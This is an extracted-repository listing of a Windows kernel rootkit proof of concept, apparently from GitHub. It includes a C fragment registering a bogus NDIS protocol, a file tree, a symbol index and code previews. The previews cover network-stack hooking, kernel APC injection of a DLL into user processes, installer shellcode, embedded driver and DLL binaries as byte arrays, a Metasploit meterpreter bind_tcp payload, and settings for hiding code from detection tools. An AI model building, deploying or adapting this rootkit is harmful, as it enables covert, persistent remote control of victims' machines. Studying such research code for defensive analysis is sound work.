//--------------------------------------------------------------------------------------
NDIS_HANDLE BogusProtocolRegister(void)
{
if (m_hBogusProtocol)
{
#ifdef DBG_NDIS_PROT
// protocol is allready registered
DbgMsg(__FUNCTION__"(): Protocol is allready registered\n");
#endif
return m_hBogusProtocol;
}
NDIS_STATUS status = STATUS_SUCCESS;
NDIS_PROTOCOL_CHARACTERISTICS Protocol;
// fill protocol characteristics structure
NdisZeroMemory(&Protocol, sizeof(Protocol));
Protocol.Ndis40Chars.MajorNdisVersion = 0x05;
Protocol.Ndis40Chars.MinorNdisVersion = 0x0;
Protocol.Ndis40Chars.OpenAdapterCompleteHandler = OnOpenAdapterComplete;
Protocol.Ndis40Chars.CloseAdapterCompleteHandler = OnCloseAdapterComplete;
Protocol.Ndis40Chars.SendCompleteHandler = OnSendComplete;
Protocol.Ndis40Chars.TransferDataCompleteHandler = OnTransferDataComplete;
Protocol.Ndis40Chars.ResetCompleteHandler = OnResetComplete;
Protocol.Ndis40Chars.RequestCompleteHandler = OnRequestComplete;
Protocol.Ndis40Chars.ReceiveHandler = OnReceive;
Protocol.Ndis40Chars.ReceiveCompleteHandler = OnReceiveComplete;
Protocol.Ndis40Chars.StatusHandler
gitextract_hzqo4tbr/
├── README.md
├── bin/
│ ├── rootkit_installer.pdb
│ └── rootkit_ping.py
└── src/
├── common/
│ ├── catchy32.h
│ ├── catchy32.lib
│ ├── common.h
│ ├── debug.cpp
│ ├── debug.h
│ ├── ntdll_defs.h
│ ├── shellcode2_struct.h
│ └── undocnt.h
├── includes/
│ ├── meterpreter_debug.dll.h
│ └── rootkit_driver_debug.sys.h
├── meterpreter/
│ ├── dllmain.cpp
│ ├── meterpreter.cpp
│ ├── meterpreter.def
│ ├── meterpreter.vcproj
│ ├── post_build.bat
│ ├── stdafx.cpp
│ ├── stdafx.h
│ └── targetver.h
├── meterpreter_bind_tcp.h
├── meterpreter_config.h
├── meterpreter_debug.pdb
├── rootkit.sln
├── rootkit_driver/
│ ├── bogusproto.cpp
│ ├── bogusproto.h
│ ├── debug.h
│ ├── dll_inject.cpp
│ ├── dll_inject.h
│ ├── dll_inject_shellcode.h
│ ├── ndis_hook.cpp
│ ├── ndis_hook.h
│ ├── network.cpp
│ ├── network.h
│ ├── post_build.bat
│ ├── rootkit_driver.cpp
│ ├── rootkit_driver.def
│ ├── rootkit_driver.h
│ ├── rootkit_driver.vcproj
│ ├── runtime.cpp
│ ├── runtime.h
│ ├── stdafx.h
│ └── undocnt.h
├── rootkit_driver_config.h
├── rootkit_driver_debug.pdb
├── rootkit_driver_debug.sys
└── rootkit_installer/
├── rootkit_installer.cpp
├── rootkit_installer.vcproj
├── stdafx.cpp
├── stdafx.h
└── targetver.h
SYMBOL INDEX (123 symbols across 16 files) FILE: src/common/debug.cpp function DbgMsg (line 24) | void DbgMsg(char *lpszFile, int Line, char *lpszMsg, ...) FILE: src/common/ntdll_defs.h type LONG (line 1) | typedef LONG NTSTATUS; type IO_STATUS_BLOCK (line 3) | typedef struct _IO_STATUS_BLOCK type UNICODE_STRING (line 16) | typedef struct _UNICODE_STRING type ANSI_STRING (line 25) | typedef struct _STRING type CLIENT_ID (line 34) | typedef struct _CLIENT_ID type OBJECT_ATTRIBUTES (line 50) | typedef struct _OBJECT_ATTRIBUTES FILE: src/common/shellcode2_struct.h type SC_PARAMS (line 5) | typedef struct _SC_PARAMS FILE: src/common/undocnt.h type SYSTEM_INFORMATION_CLASS (line 8) | typedef enum _SYSTEM_INFORMATION_CLASS type RTL_PROCESS_MODULE_INFORMATION (line 96) | typedef struct _RTL_PROCESS_MODULE_INFORMATION type RTL_PROCESS_MODULES (line 112) | typedef struct _RTL_PROCESS_MODULES type SHUTDOWN_ACTION (line 120) | typedef enum _SHUTDOWN_ACTION type DIRECTORY_BASIC_INFORMATION (line 129) | typedef struct _DIRECTORY_BASIC_INFORMATION type SYSTEM_HANDLE_TABLE_ENTRY_INFO (line 137) | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO type SYSTEM_HANDLE_INFORMATION (line 150) | typedef struct _SYSTEM_HANDLE_INFORMATION type KPROFILE_SOURCE (line 164) | typedef enum _KPROFILE_SOURCE type CCHAR (line 207) | typedef CCHAR KPROCESSOR_MODE; type MODE (line 209) | typedef enum _MODE type POOL_TYPE (line 236) | typedef enum _POOL_TYPE type VOID (line 294) | typedef VOID (__fastcall * func_IofCompleteRequest)( FILE: src/meterpreter/dllmain.cpp function DWORD (line 8) | DWORD WINAPI ShellcodeThread(LPVOID lpParam) function DWORD (line 17) | DWORD WINAPI MainThread(LPVOID lpParam) function my_memset (line 96) | void my_memset(void *mem, unsigned char val, size_t size) function BOOL (line 110) | BOOL APIENTRY DllMain( function Dummy (line 165) | void Dummy(void) FILE: src/rootkit_driver/bogusproto.cpp function VOID (line 14) | VOID OnBindAdapter( function VOID (line 32) | VOID OnOpenAdapterComplete( function VOID (line 49) | VOID OnUnbindAdapter( function VOID (line 65) | VOID OnUnload(VOID) function VOID (line 74) | VOID OnCloseAdapterComplete( function VOID (line 90) | VOID OnResetComplete( function VOID (line 106) | VOID OnRequestComplete( function VOID (line 123) | VOID OnStatus( function VOID (line 141) | VOID OnStatusComplete(NDIS_HANDLE ProtocolBindingContext) function VOID (line 155) | VOID OnSendComplete( function VOID (line 173) | VOID OnTransferDataComplete( function NDIS_STATUS (line 194) | NDIS_STATUS OnReceive( function VOID (line 219) | VOID OnReceiveComplete(NDIS_HANDLE ProtocolBindingContext) function INT (line 234) | INT OnReceivePacket( function NDIS_STATUS (line 255) | NDIS_STATUS OnPnPHandler( function NDIS_STATUS (line 268) | NDIS_STATUS OnPnPNetEventReconfigure( function NDIS_STATUS (line 281) | NDIS_STATUS OnPnPNetEventSetPower( function NDIS_HANDLE (line 294) | NDIS_HANDLE BogusProtocolRegister(void) function BogusProtocolUnregister (line 357) | void BogusProtocolUnregister(void) FILE: src/rootkit_driver/dll_inject.cpp function InjectKernelApcRoutine (line 52) | void InjectKernelApcRoutine( function BOOLEAN (line 63) | BOOLEAN InjectFindProcess(PWSTR ProcessName, ULONG ProcessId, PKTHREAD *... function BOOLEAN (line 152) | BOOLEAN ImjectMapDllImage(HANDLE hProcess, PVOID Data, ULONG DataSize, P... function BOOLEAN (line 219) | BOOLEAN InjectIntoProcess(PEPROCESS Process, PKTHREAD Thread, PVOID Data... function BOOLEAN (line 412) | BOOLEAN InjectIntoProcessByName(PWSTR ProcessName, PVOID Data, ULONG Dat... function BOOLEAN (line 435) | BOOLEAN InjectIntoProcessById(ULONG ProcessId, PVOID Data, ULONG DataSize) function BOOLEAN (line 458) | BOOLEAN InjectInitialize(void) FILE: src/rootkit_driver/dll_inject.h type INJ_THREAD_STRUCT (line 17) | typedef struct _INJ_THREAD_STRUCT FILE: src/rootkit_driver/dll_inject_shellcode.h function ULONG (line 14) | __declspec(naked) ULONG __stdcall inj_shellcode(PVOID Addr) FILE: src/rootkit_driver/ndis_hook.cpp function BOOLEAN (line 32) | BOOLEAN NdisHookInitialize(NDIS_HOOK_BUFFER_HANDLER Handler) function PVOID (line 59) | PVOID NdisHookProtocolFind(PVOID hBogusProtocol, PUNICODE_STRING usProto... function PVOID (line 92) | PVOID NdisHookProtocolEnumOpened(PVOID Protocol, PVOID OpenBlock) function PVOID (line 118) | PVOID NdisHookOpenGetMiniport(PVOID OpenBlock) function NDIS_STATUS (line 134) | NDIS_STATUS CopyNBLToBuffer(PNET_BUFFER_LIST NetBufferList, PVOID *pDest... type _HOOK_STRUCT (line 255) | struct _HOOK_STRUCT function PVOID (line 276) | PVOID NdisHookAlloc(PVOID OldHandler, PVOID OldHandlerContext, PVOID Han... function PVOID (line 300) | PVOID NdisHookAllocJump(PVOID Address, PVOID Destination) function IndicateNetBufferListsHandler (line 390) | void IndicateNetBufferListsHandler( function MiniportInterruptDPC (line 445) | void MiniportInterruptDPC( function ULONG (line 487) | ULONG NdisHookSet(PUCHAR PointerFixup) FILE: src/rootkit_driver/network.cpp function SHORT (line 3) | SHORT ChecksumEnd(ULONG Sum) function ULONG (line 18) | ULONG ChecksumCompute(PVOID Data, int Count, ULONG Seed) function USHORT (line 38) | USHORT Checksum(PVOID Data, int Count) FILE: src/rootkit_driver/network.h type NET_ETH_HEADER (line 5) | typedef struct _NET_ETH_HEADER type NET_IPv4_HEADER (line 45) | typedef struct _NET_IPv4_HEADER FILE: src/rootkit_driver/rootkit_driver.cpp function VOID (line 49) | VOID InjectPayloadThread(PVOID Param) function NdisHookHandleBuffer (line 58) | void NTAPI NdisHookHandleBuffer(PVOID MiniportHandle, PVOID Buffer, ULON... function VOID (line 144) | VOID DriverEntryContinueThread(PVOID Param) function DriverEntryInitializePayload (line 196) | void DriverEntryInitializePayload(PUCHAR PointerFixup) function ClearWp (line 225) | void ClearWp(void) function SetWp (line 238) | void SetWp(void) function PVOID (line 250) | PVOID DoPointerFixup(PVOID Ptr, PUCHAR PointerFixup) function NTSTATUS (line 270) | NTSTATUS NewDriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING Reg... function HookImageEntry (line 343) | void HookImageEntry(PVOID Image) function BOOLEAN (line 379) | BOOLEAN CheckForFreeArea(PVOID Image, PULONG FreeAreaRVA, PULONG FreeAre... function VOID (line 468) | VOID LoadImageNotify( function NTSTATUS (line 517) | NTSTATUS FILE: src/rootkit_driver/runtime.cpp function my_strlen (line 23) | size_t my_strlen(const char *str) function my_strcmp (line 37) | int my_strcmp(const char *str_1, const char *str_2) function wchar_t (line 84) | wchar_t chrlwr_w(wchar_t chr) function BOOLEAN (line 94) | BOOLEAN EqualUnicodeString_r(PUNICODE_STRING Str1, PUNICODE_STRING Str2,... function PVOID (line 119) | PVOID RuntimeGetExportAddress(PVOID Image, char *lpszFunctionName) function BOOLEAN (line 171) | BOOLEAN RuntimeProcessImports(PVOID Image, char *ImportedModuleName, PVO... function BOOLEAN (line 253) | BOOLEAN RuntimeProcessRelocs(PVOID Image, PVOID NewBase) function PVOID (line 335) | PVOID RuntimeGetSystemInformation(SYSTEM_INFORMATION_CLASS InfoClass) function PVOID (line 389) | PVOID RuntimeGetKernelModuleBase(char *ModuleName) function BOOLEAN (line 497) | BOOLEAN RuntimeInitialize( FILE: src/rootkit_driver/undocnt.h type LDR_DATA_TABLE_ENTRY (line 5) | typedef struct _LDR_DATA_TABLE_ENTRY type PEB_LDR_DATA (line 26) | typedef struct _PEB_LDR_DATA type SERVICE_DESCRIPTOR_ENTRY (line 40) | typedef struct SERVICE_DESCRIPTOR_ENTRY type SERVICE_DESCRIPTOR_TABLE (line 50) | typedef struct _SERVICE_DESCRIPTOR_TABLE type SYSTEM_INFORMATION_CLASS (line 57) | typedef enum _SYSTEM_INFORMATION_CLASS type RTL_PROCESS_MODULE_INFORMATION (line 145) | typedef struct _RTL_PROCESS_MODULE_INFORMATION type RTL_PROCESS_MODULES (line 161) | typedef struct _RTL_PROCESS_MODULES type SYSTEM_HANDLE_TABLE_ENTRY_INFO (line 169) | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO type SYSTEM_HANDLE_INFORMATION (line 182) | typedef struct _SYSTEM_HANDLE_INFORMATION type FILE_DIRECTORY_INFORMATION (line 190) | typedef struct _FILE_DIRECTORY_INFORMATION type FILE_FULL_DIRECTORY_INFORMATION (line 207) | typedef struct _FILE_FULL_DIRECTORY_INFORMATION type FILE_BOTH_DIRECTORY_INFORMATION (line 225) | typedef struct _FILE_BOTH_DIRECTORY_INFORMATION type FILE_NAMES_INFORMATION (line 245) | typedef struct _FILE_NAMES_INFORMATION type FILE_ID_BOTH_DIRECTORY_INFORMATION (line 255) | typedef struct _FILE_ID_BOTH_DIRECTORY_INFORMATION type FILE_ID_FULL_DIRECTORY_INFORMATION (line 276) | typedef struct _FILE_ID_FULL_DIRECTORY_INFORMATION type SYSTEM_OBJECT_TYPE_INFORMATION (line 295) | typedef struct _SYSTEM_OBJECT_TYPE_INFORMATION type SYSTEM_OBJECT_INFORMATION (line 311) | typedef struct _SYSTEM_OBJECT_INFORMATION type SYSTEM_PROCESS_INFORMATION (line 346) | typedef struct _SYSTEM_PROCESS_INFORMATION type THREAD_BASIC_INFORMATION (line 386) | typedef struct THREAD_BASIC_INFORMATION type THREAD_STATE (line 398) | typedef enum type SYSTEM_THREAD (line 411) | typedef struct _SYSTEM_THREAD type SYSTEM_PROCESSES_INFORMATION (line 428) | typedef struct _SYSTEM_PROCESSES_INFORMATION type SID_IDENTIFIER_AUTHORITY (line 619) | typedef struct _SID_IDENTIFIER_AUTHORITY type _SID_IDENTIFIER_AUTHORITY (line 625) | struct _SID_IDENTIFIER_AUTHORITY type KAPC_STATE (line 680) | typedef struct _KAPC_STATE type KAPC_ENVIRONMENT (line 778) | typedef enum FILE: src/rootkit_installer/rootkit_installer.cpp function BOOL (line 59) | BOOL LoadPrivileges(char *lpszName) function PVOID (line 99) | PVOID GetSysInf(SYSTEM_INFORMATION_CLASS InfoClass) function PVOID (line 156) | PVOID KernelGetModuleBase(char *ModuleName, char *ModulePath, SIZE_T Mod... function PVOID (line 278) | PVOID GetKernelProcAddrEx(char *lpszModuleName, char *lpszProcName, BOOL... function Shellcode_1 (line 328) | __declspec(naked) void Shellcode_1(void) function Shellcode_2 (line 411) | __declspec(naked) void Shellcode_2(void)
Condensed preview — 52 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (386K chars).
[
{
"path": "README.md",
"chars": 1222,
"preview": "\r\n******************************************************************************\r\n\r\n Kernel rootkit, that lives inside "
},
{
"path": "bin/rootkit_ping.py",
"chars": 2704,
"preview": "#####################################################################\r\n#\r\n# Windows kernrel rootkit PoC using registry v"
},
{
"path": "src/common/catchy32.h",
"chars": 141,
"preview": "#define\tCATCHY_ERROR\t0xffffffff\r\n\r\n#ifdef __cplusplus\r\nextern \"C\" {\r\n#endif\r\n\tULONG __cdecl c_Catchy(PVOID);\r\n#ifdef __c"
},
{
"path": "src/common/common.h",
"chars": 1190,
"preview": "\r\n#define TIME_ABSOLUTE(wait) (wait)\r\n#define TIME_RELATIVE(wait) (-(wait))\r\n#define TIME_NANOSECONDS(nanos) (((signed _"
},
{
"path": "src/common/debug.cpp",
"chars": 2613,
"preview": "#include \"stdafx.h\"\r\n//--------------------------------------------------------------------------------------\r\n#ifdef DB"
},
{
"path": "src/common/debug.h",
"chars": 111,
"preview": "#ifdef DBG\r\n\r\nvoid DbgMsg(char *lpszFile, int Line, char *lpszMsg, ...);\r\n\r\n#else\r\n\r\n#define DbgMsg\r\n\r\n#endif\r\n"
},
{
"path": "src/common/ntdll_defs.h",
"chars": 2362,
"preview": "typedef LONG NTSTATUS; \r\n\r\ntypedef struct _IO_STATUS_BLOCK \r\n{\r\n union {\r\n NTSTATUS Status;\r\n PVOID Poi"
},
{
"path": "src/common/shellcode2_struct.h",
"chars": 1280,
"preview": "\r\n#define DBGPRINT_MESSAGE \"YOU GOT PWND!\\n\"\r\n#define DBGPRINT_MESSAGE_LEN 0x20\r\n\r\ntypedef struct _SC_PARAMS\r\n{\r\n PVO"
},
{
"path": "src/common/undocnt.h",
"chars": 8412,
"preview": "\r\n/************************************************************/\r\n/* "
},
{
"path": "src/includes/meterpreter_debug.dll.h",
"chars": 28946,
"preview": "// 5632 bytes readed form ..\\meterpreter_debug.dll...\r\nunsigned char dll[] =\r\n{\r\n0x4d,0x5a,0x90,0x00,0x03,0x00,0x00,0x00"
},
{
"path": "src/includes/rootkit_driver_debug.sys.h",
"chars": 121457,
"preview": "// 23680 bytes readed form ..\\rootkit_driver_debug.sys...\r\nunsigned char rootkit_driver[] =\r\n{\r\n0x4d,0x5a,0x90,0x00,0x03"
},
{
"path": "src/meterpreter/dllmain.cpp",
"chars": 5482,
"preview": "#include \"stdafx.h\"\r\n\r\n#include \"../meterpreter_config.h\"\r\n\r\n#pragma comment(linker,\"/ENTRY:DllMain\")\r\n#pragma comment(l"
},
{
"path": "src/meterpreter/meterpreter.cpp",
"chars": 105,
"preview": "// meterpreter.cpp : Defines the exported functions for the DLL application.\r\n//\r\n\r\n#include \"stdafx.h\"\r\n"
},
{
"path": "src/meterpreter/meterpreter.def",
"chars": 14,
"preview": "EXPORTS\r\nDummy"
},
{
"path": "src/meterpreter/meterpreter.vcproj",
"chars": 5366,
"preview": "<?xml version=\"1.0\" encoding=\"windows-1251\"?>\r\n<VisualStudioProject\r\n\tProjectType=\"Visual C++\"\r\n\tVersion=\"9,00\"\r\n\tName=\""
},
{
"path": "src/meterpreter/post_build.bat",
"chars": 228,
"preview": "@echo off\r\nif exist ..\\meterpreter_debug.dll ..\\bin2c.exe ..\\meterpreter_debug.dll dll > ..\\includes\\meterpreter_debug.d"
},
{
"path": "src/meterpreter/stdafx.cpp",
"chars": 298,
"preview": "// stdafx.cpp : source file that includes just the standard includes\r\n// meterpreter.pch will be the pre-compiled header"
},
{
"path": "src/meterpreter/stdafx.h",
"chars": 177,
"preview": "#pragma once\r\n\r\n#include \"targetver.h\"\r\n\r\n#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers\r"
},
{
"path": "src/meterpreter/targetver.h",
"chars": 1428,
"preview": "#pragma once\r\n\r\n// The following macros define the minimum required platform. The minimum required platform\r\n// is the "
},
{
"path": "src/meterpreter_bind_tcp.h",
"chars": 1550,
"preview": "/*\n * windows/meterpreter/bind_tcp - 298 bytes (stage 1)\n * http://www.metasploit.com\n * VERBOSE=false, LPORT=4444, RHOS"
},
{
"path": "src/meterpreter_config.h",
"chars": 238,
"preview": "\r\n/**\r\n * Payload that should use to build DLL for injection \r\n * into the user-mode process.\r\n */\r\n#include \"meterprete"
},
{
"path": "src/rootkit.sln",
"chars": 2176,
"preview": "\r\nMicrosoft Visual Studio Solution File, Format Version 10.00\r\n# Visual Studio 2008\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-"
},
{
"path": "src/rootkit_driver/bogusproto.cpp",
"chars": 10846,
"preview": "\r\n#include \"stdafx.h\"\r\n\r\n// NDIS version: 5.1\r\n#define NDIS51 1\r\n\r\nextern \"C\"\r\n{\r\n#include <ndis.h>\r\n}\r\n\r\nNDIS_HANDLE m_"
},
{
"path": "src/rootkit_driver/bogusproto.h",
"chars": 81,
"preview": "\r\nNDIS_HANDLE BogusProtocolRegister(void);\r\nvoid BogusProtocolUnregister(void);\r\n"
},
{
"path": "src/rootkit_driver/debug.h",
"chars": 106,
"preview": "\r\n#ifdef DBGMSG\r\n\r\n// debug messages is on\r\n#define DbgMsg DbgPrint\r\n\r\n#else\r\n\r\n#define DbgMsg\r\n\r\n#endif\r\n"
},
{
"path": "src/rootkit_driver/dll_inject.cpp",
"chars": 17514,
"preview": "#include \"stdafx.h\"\r\n#include \"dll_inject_shellcode.h\"\r\n\r\nULONG SDT_NtProtectVirtualMemory = 0;\r\nint m_KTHREAD_ApcState "
},
{
"path": "src/rootkit_driver/dll_inject.h",
"chars": 1485,
"preview": "\r\n\r\n#ifdef _X86_\r\n\r\n#define PEB_IMAGE_BASE_OFFEST 0x08\r\n\r\n#elif _AMD64_\r\n\r\n#define PEB_IMAGE_BASE_OFFEST 0x10\r\n\r\n#endif\r"
},
{
"path": "src/rootkit_driver/dll_inject_shellcode.h",
"chars": 5790,
"preview": "#define EMIT(_data_) __asm __emit _data_\r\n#define _ __asm __emit \r\n\r\n#define h_LoadLibraryA 0xA412FD89 \r\n#define h_Ge"
},
{
"path": "src/rootkit_driver/ndis_hook.cpp",
"chars": 18217,
"preview": "#include \"stdafx.h\"\r\n\r\n// NDIS version: 6.0\r\n#define NDIS60 1\r\n\r\nextern \"C\"\r\n{\r\n#include <ndis.h>\r\n}\r\n\r\n\r\n#include \"bogu"
},
{
"path": "src/rootkit_driver/ndis_hook.h",
"chars": 589,
"preview": "\r\ntypedef void (NTAPI * NDIS_HOOK_BUFFER_HANDLER)(PVOID MiniportHandle, PVOID Buffer, ULONG Size);\r\n\r\nextern \"C\"\r\n{\r\n "
},
{
"path": "src/rootkit_driver/network.cpp",
"chars": 1406,
"preview": "#include \"stdafx.h\"\r\n//--------------------------------------------------------------------------------------\r\nSHORT Che"
},
{
"path": "src/rootkit_driver/network.h",
"chars": 2613,
"preview": "\r\n#define NET_MAC_ADDR_LEN 6\r\n\r\n#include <pshpack1.h>\r\ntypedef struct _NET_ETH_HEADER\r\n{\r\n UCHAR Dst[NET_MAC_ADDR_LE"
},
{
"path": "src/rootkit_driver/post_build.bat",
"chars": 268,
"preview": "@echo off\r\nif exist ..\\rootkit_driver_debug.sys ..\\bin2c.exe ..\\rootkit_driver_debug.sys rootkit_driver > ..\\includes\\ro"
},
{
"path": "src/rootkit_driver/rootkit_driver.cpp",
"chars": 18000,
"preview": "#include \"stdafx.h\"\r\n\r\n#pragma comment(linker,\"/MERGE:.rdata=.text\") \r\n#pragma comment(linker,\"/MERGE:.edata=.text\") \r\n\r"
},
{
"path": "src/rootkit_driver/rootkit_driver.def",
"chars": 0,
"preview": ""
},
{
"path": "src/rootkit_driver/rootkit_driver.h",
"chars": 212,
"preview": "\r\nextern \"C\"\r\n{\r\n void ClearWp(void);\r\n void SetWp(void);\r\n\r\n PVOID DoPointerFixup(PVOID Ptr, PUCHAR PointerFix"
},
{
"path": "src/rootkit_driver/rootkit_driver.vcproj",
"chars": 6151,
"preview": "<?xml version=\"1.0\" encoding=\"windows-1251\"?>\r\n<VisualStudioProject\r\n\tProjectType=\"Visual C++\"\r\n\tVersion=\"9,00\"\r\n\tName=\""
},
{
"path": "src/rootkit_driver/runtime.cpp",
"chars": 18126,
"preview": "#include \"stdafx.h\"\r\n#include \"../common/shellcode2_struct.h\"\r\n\r\n#pragma alloc_text(INIT, my_strlen)\r\n#pragma alloc_text"
},
{
"path": "src/rootkit_driver/runtime.h",
"chars": 806,
"preview": "\r\nextern \"C\"\r\n{\r\n size_t my_strlen(const char *str);\r\n int my_strcmp(const char *str_1, const char *str_2);\r\n c"
},
{
"path": "src/rootkit_driver/stdafx.h",
"chars": 375,
"preview": "#pragma warning(disable: 4200)\r\n\r\nextern \"C\"\r\n{\r\n#include <stdio.h>\r\n#include <stdarg.h>\r\n#include <ntddk.h>\r\n#include <"
},
{
"path": "src/rootkit_driver/undocnt.h",
"chars": 18342,
"preview": "\r\n// ********************************************************\r\n// some user-mode structures\r\n\r\ntypedef struct _LDR_DATA_"
},
{
"path": "src/rootkit_driver_config.h",
"chars": 465,
"preview": "\r\n\r\n/**\r\n * Hide rootkit executable memory in discardable sections to avoid \r\n * 'hiiden code' detection from different "
},
{
"path": "src/rootkit_installer/rootkit_installer.cpp",
"chars": 44641,
"preview": "#include \"stdafx.h\"\r\n\r\n#define EMIT(_data_) __asm __emit _data_\r\n#define _ __asm __emit\r\n\r\n#define ENDM 'DNE~'\r\n\r\n#ifdef"
},
{
"path": "src/rootkit_installer/rootkit_installer.vcproj",
"chars": 5186,
"preview": "<?xml version=\"1.0\" encoding=\"windows-1251\"?>\r\n<VisualStudioProject\r\n\tProjectType=\"Visual C++\"\r\n\tVersion=\"9,00\"\r\n\tName=\""
},
{
"path": "src/rootkit_installer/stdafx.cpp",
"chars": 313,
"preview": "// stdafx.cpp : source file that includes just the standard includes\r\n// win32k_FontLinkDefaultChar.pch will be the pre-"
},
{
"path": "src/rootkit_installer/stdafx.h",
"chars": 441,
"preview": "#pragma once\r\n\r\n#include \"targetver.h\"\r\n\r\n#include <stdio.h>\r\n#include <tchar.h>\r\n#include <conio.h>\r\n#include <windows."
},
{
"path": "src/rootkit_installer/targetver.h",
"chars": 765,
"preview": "#pragma once\r\n\r\n// The following macros define the minimum required platform. The minimum required platform\r\n// is the "
}
]
// ... and 5 more files (download for full content)
About this extraction
This page contains the full source code of the Cr4sh/WindowsRegistryRootkit GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 52 files (351.8 KB), approximately 171.5k tokens, and a symbol index with 123 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.